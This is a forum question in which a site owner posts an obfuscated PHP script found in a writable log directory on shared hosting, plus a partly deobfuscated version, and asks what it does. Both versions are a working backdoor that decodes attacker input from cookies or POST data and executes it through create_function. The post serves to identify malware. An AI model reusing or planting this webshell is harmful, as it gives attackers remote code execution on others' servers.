I found an obfuscated PHP-script in a log directory on a shared hosting, which had been given chmod 0777
by mistake.
The script in it's original form looks like this:
$zowyb = 'i#7uH0_ls5y4m*bcrovaptf-8d1x69\'3egkn';
$hifcq = array();
$hifcq[] = $zowyb[4] . $zowyb[13];
$hifcq[] = $zowyb[15] . $zowyb[16] . $zowyb[32] . $zowyb[19] . $zowyb[21] . $zowyb[32] . $zowyb[6] . $zowyb[22] . $zowyb[3] . $zowyb[35] . $zowyb[15] . $zowyb[21] . $zowyb[0] . $zowyb[17] . $zowyb[35];
$hifcq[] = $zowyb[19] . $zowyb[25] . $zowyb[24] . $zowyb[26] . $zowyb[32] . $zowyb[31] . $zowyb[5] . $zowyb[22] . $zowyb[23] . $zowyb[5] . $zowyb[14] . $zowyb[14] . $zowyb[15] . $zowyb[23] . $zowyb[11] . $zowyb[19] . $zowyb[9] . $zowyb[25] . $zowyb[23] . $zowyb[19] . $zowyb[24] . $zowyb[2] . $zowyb[26] . $zowyb[23] . $zowyb[9] . $zowyb[24] . $zowyb[5] . $zowyb[22] . $zowyb[22] . $zowyb[19] . $zowyb[32] . $zowyb[11] . $zowyb[22] . $zowyb[28] . $zowyb[29] . $zowyb[11];
$hifcq[] = $zowyb[1];
$hifcq[] = $zowyb[15] . $zowyb[17] . $zowyb[3] . $zowyb[35] . $zowyb[21];
$hifcq[] = $zowyb[8] . $zowyb[21] . $zowyb[16] . $zowyb[6] . $zowyb[16] . $zowyb[32] . $zowyb[20] . $zowyb[32] . $zowyb[19] . $zowyb[21];
$hifcq[] = $zowyb[32] . $zowyb[27] . $zowyb[20] . $zowyb[7] . $zowyb[17] . $zowyb[25] . $zowyb[32];
$hifcq[] = $zowyb[8] . $zowyb[3] . $zowyb[14] . $zowyb[8] . $zowyb[21] . $zowyb[16];
$hifcq[] = $zowyb[19] . $zowyb[16] . $zowyb[16] . $zowyb[19] . $zowyb[10] . $zowyb[6] . $zowyb[12] . $zowyb[32] . $zowyb[16] . $zowyb[33] . $zowyb[32];
$hifcq[] = $zowyb[8] . $zowyb[21] . $zowyb[16] . $zowyb[7] . $zowyb[32] . $zowyb[35];
$hifcq[] = $zowyb[20] . $zowyb[19] . $zowyb[15] . $zowyb[34];
foreach ($hifcq[8]($_COOKIE, $_POST) as $kojedg => $pbqug) {
function vztqy($hifcq, $kojedg, $cbdwnpb)
{
return $hifcq[7]($hifcq[5]($kojedg . $hifcq[2], ($cbdwnpb / $hifcq[9]($kojedg)) + 1), 0, $cbdwnpb);
}
function rooti($hifcq, $zpqis)
{
return @$hifcq[10]($hifcq[0], $zpqis);
}
function rosfiks($hifcq, $zpqis)
{
$ntuqcs = $hifcq[4]($zpqis) % 3;
if (!$ntuqcs) {
$vertdy = $hifcq[1];
$kisfyo = $vertdy("", $zpqis[1]($zpqis[2]));
$kisfyo();
exit();
}
}
$pbqug = rooti($hifcq, $pbqug);
rosfiks($hifcq, $hifcq[6]($hifcq[3], $pbqug ^ vztqy($hifcq, $kojedg, $hifcq[9]($pbqug))));
}
Running it through unphp.net gave me the code below, which I'm still not sure exactly what it is meant to be doing:
$zowyb = 'i#7uH0_ls5y4m*bcrovaptf-8d1x69\'3egkn';
$hifcq = array();
$hifcq[] = $zowyb[4] . $zowyb[13];
$hifcq[] = $zowyb[15] . $zowyb[16] . $zowyb[32] . $zowyb[19] . $zowyb[21] . $zowyb[32] . $zowyb[6] . $zowyb[22] . $zowyb[3] . $zowyb[35] . $zowyb[15] . $zowyb[21] . $zowyb[0] . $zowyb[17] . $zowyb[35];
$hifcq[] = $zowyb[19] . $zowyb[25] . $zowyb[24] . $zowyb[26] . $zowyb[32] . $zowyb[31] . $zowyb[5] . $zowyb[22] . $zowyb[23] . $zowyb[5] . $zowyb[14] . $zowyb[14] . $zowyb[15] . $zowyb[23] . $zowyb[11] . $zowyb[19] . $zowyb[9] . $zowyb[25] . $zowyb[23] . $zowyb[19] . $zowyb[24] . $zowyb[2] . $zowyb[26] . $zowyb[23] . $zowyb[9] . $zowyb[24] . $zowyb[5] . $zowyb[22] . $zowyb[22] . $zowyb[19] . $zowyb[32] . $zowyb[11] . $zowyb[22] . $zowyb[28] . $zowyb[29] . $zowyb[11];
$hifcq[] = $zowyb[1];
$hifcq[] = $zowyb[15] . $zowyb[17] . $zowyb[3] . $zowyb[35] . $zowyb[21];
$hifcq[] = $zowyb[8] . $zowyb[21] . $zowyb[16] . $zowyb[6] . $zowyb[16] . $zowyb[32] . $zowyb[20] . $zowyb[32] . $zowyb[19] . $zowyb[21];
$hifcq[] = $zowyb[32] . $zowyb[27] . $zowyb[20] . $zowyb[7] . $zowyb[17] . $zowyb[25] . $zowyb[32];
$hifcq[] = $zowyb[8] . $zowyb[3] . $zowyb[14] . $zowyb[8] . $zowyb[21] . $zowyb[16];
$hifcq[] = $zowyb[19] . $zowyb[16] . $zowyb[16] . $zowyb[19] . $zowyb[10] . $zowyb[6] . $zowyb[12] . $zowyb[32] . $zowyb[16] . $zowyb[33] . $zowyb[32];
$hifcq[] = $zowyb[8] . $zowyb[21] . $zowyb[16] . $zowyb[7] . $zowyb[32] . $zowyb[35];
$hifcq[] = $zowyb[20] . $zowyb[19] . $zowyb[15] . $zowyb[34];
foreach (array_merge($_COOKIE, $_POST) as $key => $value) {
function vztqy($hifcq, $key, $cbdwnpb)
{
return substr(str_repeat($key . 'ad81e30f-0bbc-4a5d-a871-580ffae4f694', (strlen($value) / strlen($key)) + 1), 0, strlen($value));
}
function rooti($zpqis)
{
return @pack('H*', $zpqis);
}
function rosfiks($hifcq, $zpqis)
{
$ntuqcs = count($zpqis) % 3;
if (!$ntuqcs) {
$kisfyo = create_function("", $zpqis[1]($zpqis[2]));
$kisfyo();
exit();
}
}
$value = rooti($value);
rosfiks($hifcq, explode('#', $value ^ vztqy($hifcq, $key, strlen($value))));
}
What does this code try to do exactly? And is it a "well known" malicious script, or something the user who placed it there put together him/herself? (I could see the username of the owner account on the shared hosting).